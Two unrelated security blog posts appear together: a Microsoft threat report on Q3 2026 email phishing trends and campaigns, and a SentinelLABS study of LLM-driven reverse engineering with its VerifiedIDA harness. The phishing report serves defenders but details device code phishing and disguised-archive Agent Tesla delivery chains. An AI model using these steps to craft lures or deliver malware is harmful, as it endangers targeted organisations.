Microsoft Threat Intelligence detected approximately 7.3 billion email-based phishing threats from July through September, including a sharp increase to nearly 3 billion in September alone, up 41% from August. Yet the increase did not extend across the techniques that had driven threat actor activity earlier in the year. QR code phishing remained far below its early-year peak, while CAPTCHA-gated phishing reversed several months of decline, driven in part by renewed use of SVG attachments.

The quarter also highlighted how sender identity and security exceptions can shape the outcome of detected threats. Microsoft detected approximately 129 million malicious messages spoofing the sender domains of tracked business services. Many were delivered because organization- or user-configured exceptions overrode security protections, even after the messages failed authentication checks and were identified as malicious, showing how overly broad exceptions intended to preserve legitimate workflows can also expose them to impersonation. In Microsoft Teams, attackers increasingly used ordinary personal names rather than explicit help desk identities while continuing to use live interactions for social engineering. Across malicious attachment activity more broadly, credential theft remained the dominant objective in Q3.

Two campaigns observed during the quarter illustrate the range of activity behind these trends. An August campaign targeting legal organizations used personalized salary review documents and QR codes to lead recipients into device code phishing, despite the broader decline in QR code attacks. In September, purchase order and payroll lures used disguised archives to deliver Agent Tesla, malware commonly used to collect credentials and other information. Together, the campaigns show how familiar business requests remained effective lures across distinct attack paths.

The effects of the March disruption of the Tycoon2FA phishing-as-a-service (PhaaS) platform also remained evident. By July, Microsoft detected approximately 21,000 phishing messages linked to the platform, down 99.8% from 8.9 million in February, the last full month before the operation.

This blog provides a view of email threat activity across Q3 2026, examining shifts in phishing techniques, malicious payloads, business contact impersonation (BCI), and Teams-based threats. We also highlight spoofed business-service sender domains and two campaigns that show how attackers used familiar work requests to make malicious messages appear credible. Together with recommendations, Microsoft Defender detections, and hunting queries, these findings can help defenders assess where existing protections may be weakened and investigate activity across email and collaboration platforms.

Spoofed sender domains

Requests to sign a document, review an invoice, or respond to a survey are routine business communications. Attackers exploit that familiarity by spoofing the sender domains of the legitimate services that deliver them. Rather than relying only on a misleading display name or a lookalike domain, these messages claim the service’s actual domain as their sender identity.

Microsoft detected approximately 129 million malicious messages spoofing the business-service domains tracked in this analysis during Q3. Activity had remained consistently high since at least May, at roughly 41 million to 46 million messages a month. DocuSign was the most frequently spoofed brand in September, accounting for 29% of that month’s total. Adobe, SurveyMonkey, and Barracuda also saw increases toward the end of the quarter, even as overall spoofing volume remained broadly steady.

The more consequential finding was how security exceptions affected these messages after detection. Despite failing email authentication checks and being identified as malicious, many were associated with tenant- or user-level overrides. In September, overrides applied to 63% of messages with a recorded security outcome, with tenant-level overrides accounting for most of them.

The figures do not establish that recipients opened the messages or that accounts were compromised. They do show why exception policies deserve attention alongside detection coverage. An organization may create an exception to avoid interrupting a legitimate business workflow, but an overly broad exception can also weaken protection against messages impersonating that workflow. Familiar branding is not a substitute for an authenticated sender.

QR code phishing attacks

QR code phishing ended Q3 far below the levels seen during its early-year surge. Microsoft detected approximately 12.1 million attacks over the quarter, down 67% from Q2. The decline continued through September despite the broader increase in email threats, leaving monthly QR code volume 86% below its March peak.

Much of the volume reduction came from the attachments that had supported that earlier growth:

• PDF attachments remained the most common delivery format in Q3, accounting for 78% of QR code attacks in July and August before dropping to 61% in September. Nonetheless, the volume of PDFs carrying malicious QR codes fell by roughly 65% by the end of the quarter.
• DOC/DOCX attachments accounted for 14% of QR code attacks in July and August before rising to 20% in September. Word document delivery volume similarly contracted in Q3, falling 39% between July and September following a sharp drop at the start of the quarter.
• Email-embedded QR codes increased from 5% of attacks in July to 12% in September. After dropping to near-zero in Q2, the volume of malicious QR codes embedded in email bodies more than tripled by the end of Q3, although the method remained a smaller delivery category than attachments.

The distinction between delivery methods matters for inspection coverage, but not for the recipient’s experience: either attachment or embedded formats can move a user from a message on a managed device to a phishing page on a personal phone. The reduction in volume has not changed that underlying challenge.

CAPTCHA-gated phishing tactics

CAPTCHA-gated phishing began to recover while QR code attacks continued to fall. By September, Microsoft detected 3.1 million CAPTCHA-gated attacks, nearly twice the volume seen at July’s low. Activity remained well below its March peak, but the recovery ended several months of sustained decline.

The increase in CAPTCHA-gated phishing attacks was not confined to a single attachment format as delivery methods shifted throughout Q3, though SVG attachments were central to the initial recovery.

• SVG attachment volume increased sixfold in August, accounting for almost half of September’s total CAPTCHA-gated phishing attacks. Up from 17% of attacks in July, SVGs represented 65% of CAPTCHA-gated phishing attacks in August, remained elevated at 49% in September, and were the leading delivery method at the quarter end.
• Email-embedded URLs accounted for 49% of attacks in July before falling to 19% in August as SVG activity surged. URL-delivered attacks more than doubled in September, reclaiming 30% of attacks.
• PDF attachments declined from 22% of attacks in July to 12% in August, remaining at 12% in September.
• HTML attachments declined from 9% of attacks in July to 2% in August, then more than tripled in volume in September to account for 6% of attacks.
• DOC/DOCX attachments remained comparatively uncommon throughout Q3, representing only 1% of attacks each month.

Malicious payloads

The dominant risk from malicious attachments continued to be credential theft, not malware installation. Approximately 94-96% of payload-based attacks during Q3 directed recipients toward a phishing site or presented a fraudulent sign-in page locally. An attachment did not need to install software to put an account at risk.

HTML and PDF attachments remained the two most common malicious payload types during Q3, together accounting for approximately 56–62% of payload-based attacks each month, while the more significant change was the return of SVG files:

• HTML attachments accounted for nearly two-thirds of malicious payloads and remained relatively steady across the quarter. HTML files ranked first in July at 32% of attacks before declining to 26% in August and recovering to 29% in September.
• PDF attachments accounted for 27–30% of attacks and were the leading payload type in August and September. Volume remained comparatively stable, declining only 2% between July and September.
• SVG attachments increased from 13% of attacks in July to 20% in August, when volume reached 10.1 million—the highest monthly volume in more than a year. Volume then fell 34% in September, although SVGs still represented 13% of attacks and remained roughly 50% higher than the monthly average for the first half of 2026.
• DOC/DOCX attachments declined from approximately 5% of attacks in July and August to less than 3% in September, falling 76% below its monthly average volume for the first half of 2026.
• ZIP/GZIP attachments declined from 5% of attacks in July to 3% in August before recovering slightly to 4% in September. Raw volume remained 24% below July.

The reduced use of Word documents alongside the renewed use of SVG files left a different mix of attachment threats, though credential theft remained the dominant objective.

CAPTCHA-gated phishing accounted for only part of the malicious SVG activity. The resurgence was therefore broader than the use of SVG files to deliver that particular technique.

Business contact impersonation

Microsoft defines business contact impersonation (BCI) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the attacker sensitive documents.

BCI volume declined throughout Q3, totaling approximately 6.2 million attacks. That was substantially below Q2, although the comparison is influenced by the unusually large spike in April. By September, monthly activity had fallen to its lowest level since at least July 2025.

The reduction in overall volume also concealed differences among financial lures. Generic messages continued to dominate initial BCI contact during Q3, but explicit task and financial requests gained share as overall attack volume declined:

• Generic outreach messages, such as “Are you at your desk?”, accounted for 82% of attacks in July and August before declining to 79% in September. Raw volume fell 14% across the quarter, reinforcing that operators still overwhelmingly favored establishing contact before introducing a fraudulent request.
• Generic task requests represented 8–10% of attacks during Q3, increasing from 9% in July to 10% in September despite a 9% decline in raw volume.

Within the smaller subset of explicit financial requests:

• Payroll update requests were the most common financial lure, accounting for 6% of attacks in July and August and 7% in September. Raw volume remained broadly stable at approximately 126,000–130,000 attacks per month.
• Invoice payment requests recovered from June’s low. Volume increased 34% in July, 25% in August, and 89% in September, more than tripling between June and September. Their share reached 3% in September, its highest level since March.
• Gift card requests remained at 2% of attacks each month, while raw volume declined 9% from July to September.

The decline in BCI overall did not extend equally to the requests reaching payment and payroll staff.

Microsoft Teams threats

Microsoft observed approximately 141,000 malicious Teams call attempts during Q3. Activity peaked in July before declining 31% by September, although September volume remained 38% above the monthly average for the first half of 2026. Teams-based attacks continued to use live interactions across chat, voice, screen sharing, and remote-support tools to facilitate remote access, credential theft, and hands-on-keyboard compromise.

Attackers increasingly moved away from display names that explicitly announced an IT- or tech-related support role. Ordinary personal-name display names rose from 46% of the observed July sample to 88% in September, while explicit help desk identities fell from 17% to 2%.

This shift does not necessarily mean attackers abandoned IT support stories. A personal name can accompany a claim to work for the help desk, while the underlying account address retains technical or service-related wording. More targeted attempts also used domains resembling the intended victim organization’s domain, emphasizing that the visible name is only one part of the impersonation.

Voice phishing attempts peaked in July and then receded, but September volume remained above the levels observed early in 2026. Calls were concentrated during recipients’ weekday working hours, when a live response was more likely. These attempts included unanswered, rejected, and short-lived calls, partly reflecting Microsoft’s expanding visibility and ongoing efforts to strengthen protective measures against social engineering abuse. Attemps should not be interpreted as successful attacker interactions.

Notable phishing campaigns

The following campaigns were observed during the quarter and highlight notable credential phishing, BCI, and malware delivery activity. For analysis of a separate Teams-based IT-support impersonation campaign observed in August, see Impersonating IT support: Threat actors turn remote session into enterprise-wide access.

Salary review lure delivers personalized QR code attachment for device code credential capture targeting legal organizations

On August 19, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 10,000 users across more than 4,800 organizations, almost exclusively located in the United States. While most phishing attacks typically don’t focus on a single vertical, this campaign targeted the professional services sector, specifically law firms and legal organizations. Messages in this campaign were sent out over a 13-hour period between 13:27 UTC on August 19, 2026, and 2:59 UTC on August 20, 2026.

Emails in this campaign were sent with the subject line “Salary Review” from smtp[@]wekash[.]net via Amazon Simple Email Service. The email body carried no visible text and the sole payload was a Word document attachment named Your-Q3-Compensation-Summary.docx.

The Word document impersonated the recipient’s own organization, displaying company branding and addressing the recipient by name. The message claimed that the recipient’s compensation had been revised following a Q2 performance review and that updated details were ready for review. A QR code in the document carried an instruction to scan it to access the revised details. This approach moved the phishing URL out of the email body and into an image, bypassing email gateway controls that scan text-based links but do not decode QR code images.

Scanning the QR code would have directed users to an attacker-controlled phishing page impersonating a Microsoft OneDrive sign-in portal hosted on the domain splace[.]co[.]za. The page presented an alphanumeric code and instructed recipients to copy it and proceed to the Microsoft sign-in portal.

The phishing page used a device code phishing technique, which works by making an authentication request to Microsoft’s device authentication service before the recipient arrived, receiving a user code in return, and embedding that code into the page. When a recipient copied the code and proceeded, the page redirected them to the legitimate Microsoft device authentication portal at microsoft.com/devicelogin, where they entered the code and signed in. Completing that sign in would have transferred a valid session token to the attacker. The token granted persistent access to the recipient’s Microsoft 365 account without ever exposing the password and without re-triggering multifactor authentication (MFA). A countdown timer on the page signaled that each code had a limited validity window, pressing recipients to act quickly.

Spanish-language purchase order and payroll campaign leads to Agent Tesla malware

On September 21, 2026, Microsoft Defender Research observed a phishing campaign targeting more than 56,000 users across more than 8,100 organizations. The campaign primarily targeted users in Spanish-speaking countries, with Colombia accounting for the largest share of intended recipients (15%), followed by the United States (12%), Mexico (12%), Chile (11%), and Spain (8%). Like most large-scale phishing attacks, this campaign did not focus on a single vertical, but instead targeted a broad range of industries, most notably retail and consumer goods (27%), manufacturing and agriculture (19%), and financial services (13%). Messages in this campaign were sent out over an almost nine-hour period between 14:57 UTC and 23:35 UTC on September 21, 2026.

Two lure variations were observed throughout the duration of the campaign: a purchase order theme, which was used in 63% of messages, and a payroll theme, which was used in the remaining 37%. Both variations were sent from the address contacto06[@]carloxmextos[.]org. Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) all passed for that domain, so the messages did not depend on simple address forgery. The actor changed the display name to resemble a sales or human resources identity associated with the recipient’s organization. That combination gave the messages technically valid authentication while using the visible sender identity and familiar business context to support the impersonation.

The purchase order lure variation used the reply-style subject “Re: solicitud de cotización”. Its body said, “Buen Dia”, claimed that a purchase order was attached, and asked the recipient to confirm receipt before closing with the lowercase “saludos”. The abrupt wording, inconsistent capitalization, and copied professional signature made the message look like a short continuation of an existing commercial exchange while avoiding details that a recipient could easily challenge.

The attached file, Nuevo orden de compra – 21092026.pdf.uu, was a RAR archive despite its uncommon .uu ending and PDF-like name. Inside it was Nuevo orden de compra – 21092026.pdf.js, a JavaScript downloader whose second extension exposed the executable script type only after extraction. If run, the script fetched a file named Lincoln.ps1 from a campaign-controlled object in Firebase Storage, and that PowerShell payload led to Agent Tesla malware. The nested archive and misleading extensions separated the visible business document theme from the code that executed, while the cloud-hosted download gave the actor a remotely accessible staging point.

The payroll-themed lure used the subject “Nomina 21.09.2026”. It addressed the recipient by name, said the September 21 payroll list was attached, and signed off as a human resources manager. The date-specific payroll pretext created an immediate work-related reason to open the file, while the personalized greeting made a bulk message appear locally relevant.

The payroll lure’s attachment, Nomina 21.09.2026.xml.001, was also a RAR archive. Extraction produced Nomina 21.09.2026.xml.exe, an Agent Tesla executable disguised with an XML-themed double extension. Unlike the purchase order delivery chain, this branch did not require a separate downloader in the supplied evidence, but both paths used the same sender infrastructure, attachment camouflage, date, and malware family. Agent Tesla is commonly used to collect credentials and other information from an infected host, so the shared final payload suggested that credential and information theft were the campaign’s likely objective.

Defending against email and collaboration threats

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Microsoft helps organizations reduce the risk of phishing and social engineering in Teams through user awareness and layered, built-in protections. Users should exercise caution with external connection requests and messages, including verifying a sender’s identity and requests before acting on them. Administrators can also block external Teams users and specify which users in their organization are permitted to chat or meet with people outside the enterprise. These flexible controls help organizations manage risk for employees in sensitive roles and departments. Teams will also be introducing AI-powered phishing detection that uses conversation context to identify phishing and social engineering in higher-risk messaging scenarios, particularly first-contact chats with external users. Together, these measures help organizations collaborate more securely in Teams.
• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders can also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing-resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Activity Profile: Email threat landscape, September 2026
• Activity Profile: Email threat landscape, August 2026
• Activity Profile: Email threat landscape, July 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business email compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing
• Activity Profile: Salary review lure delivers personalized QR code attachment for device code credential capture targeting legal organizations
• Activity Profile: Spanish-language purchase-order and payroll campaign leads to Agent Tesla malware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Salary review campaign emails by sender address

The following query identifies emails associated with the August 19 campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress == “smtp@wekash.net”

Spanish-language purchase order and payroll campaign emails by sender address

The following query identifies emails associated with the September 21 campaign using a message’s sending email address.

EmailEvents 
| where SenderMailFromAddress == "contacto06@carloxmextos.org"

Indicators of compromise (IOCs)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q3 2026 trends and insights appeared first on Microsoft Security Blog.

Executive Summary

• SentinelLABS evaluated how frontier models reverse engineer binaries and annotate disassembler databases, finding recurring problems with inaccurate labels and incomplete analysis.
• To improve performance, we developed and tested a standard for LLM-driven reverse engineering that keeps annotations tied to evidence, verifies database changes, preserves project state, and requires review of the model’s work.
• We open-sourced VerifiedIDA, a reference implementation that applies the standard to autonomous reverse engineering in IDA Pro.
• Despite the growing capabilities of new models, our research shows that scaling reverse engineering requires that the analysis they produce remain inspectable, continuable, and reusable by humans, other models, and downstream security workflows.

Overview

The use of large language models (LLMs) for reverse engineering creates the possibility of examining binaries at a scale and speed exceeding that of manual analysis. It also makes reverse engineering accessible to those without specialized expertise in the discipline. The combination of scale, speed, and accessibility introduces a major shift across multiple domains. In cybersecurity, for example, defenders can analyze larger volumes of malware in less time, while attackers can misuse the same capability to considerably accelerate and scale vulnerability research and exploit development, shortening the time to exploitation and increasing the volume of intrusions.

As part of our broader innovation initiative for applying AI to automate and scale up defense workflows to keep up with an increasingly fast and widespread threat landscape, this work contributes to making LLM-driven reverse engineering inspectable, continuable, and reusable. These properties are important when reverse engineering output is used as part of cyber defense operations, such as incident response, detection development, or threat hunting, where analysts act on this output, share it with other stakeholders, and use it as input to other tools and workflows. This requires the ability to inspect the evidence behind an LLM's conclusions to verify them, have another analyst or model continue the work from where the LLM stopped, and reuse results coupled with the code and data they describe.

To this end, we focus on LLM-driven reverse engineering whose output is an annotated disassembler database, such as an IDA Pro, Ghidra, or Binary Ninja database. In contrast to a textual report, which reduces the analysis to a prose snapshot of the model's conclusions, detached from the code that supports them, an annotated database records findings directly on the disassembled code and data, as labels, types, data structures, and comments. 

As a result, an analyst can verify each conclusion against the code and data it describes. When the database is shared with other stakeholders, recipients get every annotation, not only the findings a report would contain, and can verify and use the parts they need. In addition, another analyst or LLM can continue the analysis from the existing annotations in the database or correct them if necessary, rather than interpreting a prose report and locating the code and data each conclusion refers to. Other tools and workflows can also work directly with the findings and the code they apply to, for example, to generate YARA rules that target functions identified as implementing specific capabilities, or to parse configuration data using recovered data structures. 

However, an annotated database provides these benefits only if its annotations are accurate and complete, which LLMs do not guarantee. To understand these limitations in practice, we conducted evaluation studies in which LLMs analyzed binaries and annotated IDA databases without safeguards for the accuracy or completeness of their work.

We first present the results of these studies, which show that models produced inaccurate labels, left some findings unrecorded, lost track of unfinished work, and stopped the analysis early. Full model specifics are provided in the section below.

Based on these findings, we propose a standard for LLM-driven reverse engineering that annotates disassembler databases. Under the standard, each annotation must be confirmed as recorded in the database and traceable to documented evidence against which its accuracy can be verified, outstanding work stays tracked until it is resolved, and an independent review assesses the accuracy of the annotations and identifies work left undone, returning its findings to the LLM that reverse engineers the binary for correction.

Finally, we present VerifiedIDA, a harness that serves as a preliminary implementation of the standard by mediating the LLM's access to an IDA database. VerifiedIDA is released as an open-source project, together with the specification of the standard and a user guide.

Evaluation Studies | LLM-Driven Reverse Engineering Without Safeguards 

The goal of our evaluation studies was to identify common challenges with model-led reverse engineering where the model had to annotate a disassembler database using basic tooling. A detailed comparison of how models perform, individually or by vendor or tier, was not our focus.

We used proprietary models from Anthropic and OpenAI in addition to open-source models to reverse engineer binaries of varying size, both malicious and legitimate. The majority of our testing presented here used GPT-5.6 Sol. The models worked through a simple harness, in which an LLM analyzes a binary autonomously, without any human or automated feedback and with access only to basic reverse engineering capabilities. The harness provides only general instructions and a fixed set of tools for viewing disassembled and decompiled code, following cross-references, searching the binary, and writing labels, types, and comments, such as free-text descriptions of functions, into an IDA database.

The full reasoning of Anthropic and OpenAI models is not available through their APIs, so we could not directly observe how they make decisions while reverse engineering a binary. Instead, we logged each analysis step by step in what we refer to as an LLM log, recording the tools the model called, the code it retrieved, its intermediate notes and planned next steps, and the edits it made to the database. An LLM log may show, for example, the model retrieving the pseudocode of a function, following its cross-references, and then labeling the function in the database. This allowed us to reconstruct what the model retrieved, what it based each annotation on, and how it acted on that information.

To illustrate some of the observations we discuss next, we present two case studies in the Case Studies section, each examining in detail how GPT-5.6 Sol performed a routine reverse engineering task. In both, the model reverse engineered a sample of ComRAT (SHA-1 hash: 0139818441431c72a1935e7f740a1cc458a63452), a backdoor attributed to the Russian APT group Turla. Case Study #1 covers the recovery of a data structure passed as a parameter to two ComRAT functions, whereas Case Study #2 covers the analysis of a single ComRAT function's behavior.

Structured Work Grounded in Evidence

We observed that the LLMs took a sound, methodical approach to reverse engineering tasks. For example, when labeling a variable or a function, they typically started with a broad analysis of the pseudocode or disassembly and then moved to targeted exploration, analyzing how the variable or function is used across the binary to determine the variable’s role or the function’s primary operation, which is what the label should describe.

The models also largely avoided fabrication. For example, when a model could not establish the role or type of a variable, it typically applied a generic label, such as unknown, or a generic data type, such as void, rather than inventing one the code did not support.

In addition, the LLMs made effective use of authoritative information relevant to the analysis, such as the public documentation of Windows API functions, which is highly likely present in their training data. For example, when a variable was passed to a Windows API function, they typed it based on the function's documented parameter types, and when a function called Windows API functions, they took the documented behavior of these API functions into account when determining the primary operation of the calling function.

Inaccurate and Incomplete Disassembler Databases

Alongside the strengths discussed above, we observed four major, recurring problems. These problems undermine the purpose of an annotated database as the primary output of LLM-driven reverse engineering, which is to serve as an accurate and complete binary-grounded foundation for any downstream use.

Accuracy of labels 

Some labels the LLMs applied to variables and functions did not accurately describe the variables' roles or the functions' primary operations. This matters because analysts often rely on labels to navigate an annotated disassembler database. Inaccurate labels therefore have consequences for anyone who uses an annotated disassembler database, human or model, whether to continue an analysis or to draw conclusions from it. For example, an ambiguous label may lead an analyst to redo work that is already done, while an imprecise one may draw attention away from binary behavior that matters. 

Inaccurate labels also misrepresent the binary under analysis, and any conclusion drawn from the database carries that misrepresentation forward. In addition, the inaccuracy of a label is not apparent from the database itself, since a label says nothing about how well it is supported. An inaccurate label is therefore either taken at face value, with the consequences that may bring, or caught only at the cost of redoing the analysis whose conclusion it was meant to record.

Capture of findings 

The models repeatedly established findings during the analysis without recording them as annotations in the databases, that is, they did not reliably translate reverse engineering findings into database annotations. These findings did not survive the analysis sessions, and the effort behind them was effectively lost, leaving the databases incomplete.

Continuity of work

As the analyses progressed, the models often lost track of unfinished work, which we suspect is primarily due to context compaction, the condensing of the models' earlier output and tool results to fit their context windows. Steps they had planned were dropped, leaving the parts of the binary they targeted unanalyzed and without annotations in the databases.

Completeness of analysis

The LLMs often stopped exploring before examining all the code relevant to what they were analyzing. For example, having settled on a function's primary operation, an LLM labeled the function without exploring all of the function's callees, some of which implement additional capabilities. These capabilities remained unidentified, and the function's label did not express them.

Reverse Engineering Standard

The four problems we observed are not variations of a single failure. Each points to a responsibility that cannot be left to the model alone.

Models are not infallible, so no system can guarantee that every label they apply is accurate. A system can, however, keep the evidence behind each annotation, so an inaccurate label can be found and corrected without redoing the analysis it was meant to record. It can confirm which findings reach the database, carry unfinished work beyond the model's context, and check whether the code behind a conclusion was examined.

These checks fall into two categories. Mechanical checks can be made without interpreting the code: whether a requested change persisted, or whether a function's callees were inspected before the function was labeled, as in Case Study #2. Semantic checks require review on whether a label describes a function's primary operation, or whether the analysis establishes how two capabilities relate.

This is the division of labor at the center of our standard: the model makes the analytical judgments, and the system around it preserves the evidence, maintains the state of the project, and enforces follow-through. We formalize this into four requirements.

Attributable evidence. Every annotation must be traceable to the evidence the model retrieved to support it, identified by the binary and the state of the database it came from. Evidence that no longer reflects the current database must not support new annotations.

Verified changes. The system must check what each requested change recorded in the database and whether it persisted. If a change fails, the accepted database must stay intact, and the model must receive feedback it can act on. This matters most for type changes. A recovered structure that cannot be applied cleanly, or that alters parts of the database the model did not intend to change, can be detected and rejected mechanically before it affects how other code decompiles.

Preserved project state. Accepted annotations, the history of changes, the working summary of the binary, and the list of pending tasks must be stored outside the model's context. The analysis can then be resumed after context compaction, an interruption, or a switch to another binary, by the same model, a different one, or a human analyst.

Enforceable scope and review. An independent reviewer must be able to challenge the accuracy of annotations and identify work left undone. Its findings must go back to the investigating model and stay tracked until each is corrected, rejected with evidence, or recorded as unresolved for a human to pick up.

Our proposed standard is the floor for LLM-driven reverse engineering. It does not make a model's analysis correct, and it does not prescribe how a model should reverse engineer a binary. Many tools already use models for reverse engineering in their own ways, and more will follow. Verification is essential, but it establishes only what was recorded, not whether it is right, and review by another model or by an expert human can still miss errors. What the standard ensures is that the model's conclusions remain tied to evidence that can be revisited, and that its mistakes are identifiable rather than hidden. The standard is also independent of a particular disassembler. We publish it as an interface specification alongside our reference implementation for IDA Pro, which we describe next.

The VerifiedIDA Harness

VerifiedIDA is our reference implementation of the standard. We built it for IDA Pro first because it is the disassembler our team works with most. The model chooses what to investigate, inspects code, and proposes annotations. VerifiedIDA acts as the host and mediates every access to the IDA database: it identifies the target of each request, requires current evidence, applies edits to a candidate copy of the database, checks the result, and records each operation. It maintains three records:

• IDA databases, which hold the accepted labels, comments, types, interfaces, and relationships, one per binary, including embedded binaries.
• A SQLite ledger, which holds inspections, operations, verification results, database revisions, and tracked work.
• A project notebook, which holds the model's current understanding, uncertainties, and next actions, along with a journal of how they changed.

Attributable evidence. Every edit must cite evidence the host recorded for the current target and database revision. Evidence is identified by binary and revision rather than by address alone, because a binary and the binaries embedded in it can use the same addresses. If the database has changed since the model inspected the code, the host rejects the edit and explains how to obtain current evidence. Model inferences and historical evidence are labeled as such. A reviewer can start from any annotation, find the operation that introduced it in the ledger, and examine the code the model was shown when it made it.

Verified changes. The host applies each edit to an isolated candidate database, reads the result back through a separate path, and checks it before the candidate becomes the accepted database. Type and prototype edits also receive a comparison of the affected IDA state, and unrelated changes lead to rejection. If an edit fails, the accepted database is left unchanged, and the model receives the target, the failed stage, the requested and observed state, and a recovery direction. Checkpoints reopen the database in a fresh IDA process to confirm that accepted changes persisted.

Feedback also targets the capture problem directly. After an edit, the host flags incomplete annotations, such as a renamed function without a behavior comment or parameters that retain generated names, and reports where a newly created type is not yet applied. In our worked example, based on the ComRAT structure from Case Study #1, the feedback reported that the structure the model had created was declared but not used anywhere, and the model went on to apply it to the function's parameter.

Preserved project state. The notebook records where the investigation stands, and its current-state sections are rewritten as the model's understanding changes. After context compaction, the model is given its current instructions and the recorded project state, and any further edit still requires fresh evidence from IDA. When the model follows an embedded binary, the host records the child's bytes, how it was extracted, and its link to the parent, and opens a separate database for it. Before switching, we require the model to record what it has established in the parent and how the parent uses the child, so it knows where to return.

Enforceable scope and review. Independent review starts with the host building an inventory of annotations and possible gaps. Reviewer models then examine individual claims and the overall explanation of the program, with read-only access to disposable copies of the databases. The host validates their findings and freezes the scope of required corrections. The investigating model then resumes and works through one finding at a time: it can apply the correction, revise it, reject it with evidence, defer it, or request a specific follow-up. It then checks that the accepted review conclusions agree with the annotations, and any remaining disagreement blocks completion. The final report states what was verified, what remains unresolved, and whether the completion policy was met.

Coverage mode. We reran the Case Study #2 function with an experimental call-flow mode enabled. In six earlier GPT-5.6 Sol runs, none had opened sub_180081450, and the four that annotated the parent all omitted forwarded-export handling. 

In the new run, Sol began from a clean database and was not told which callee mattered. Once it committed a claim about sub_180077C10, the mode listed the function's 20 direct internal callees and held that claim open until each had a recorded outcome. Sol opened sub_180081450, identified it as the recursive resolver for forwarded exports, and confirmed a parent comment that separates local export-table parsing from the recursion it delegates. 

A repeat under a revised policy reached the same result across all 20 callees, and every edit survived a fresh-process reload. The mode follows direct calls only. An early attempt to apply it across the whole project generated 265 required nodes for eight edits, so we reserve it for selected claims.

Conclusion

Over the past year we’ve watched the infosec community grapple with the rapid adoption of AI tools and increased automation. It is clear that AI models can now reverse engineer binaries at a scale no team of analysts can match. As the volume of analysis the models produce grows, it creates a widening gap in our ability to understand how decisions were reached and what evidence they were based on. After all, a model's labels, types, and descriptions are only as useful as an analyst's ability to confirm them, correct them, and build on them. 

A database makes this level of inspection possible in a way that a report cannot because each conclusion can be tied to the code it describes. This allows a person (or another model) to easily continue the work or incorporate the findings into downstream detection and hunting workflows. 

LLMs give us the opportunity to automate more security analysis but only insofar as the work they produce remains understandable. Scaling the analysis without also scaling our ability to inspect it replaces one bottleneck with another.

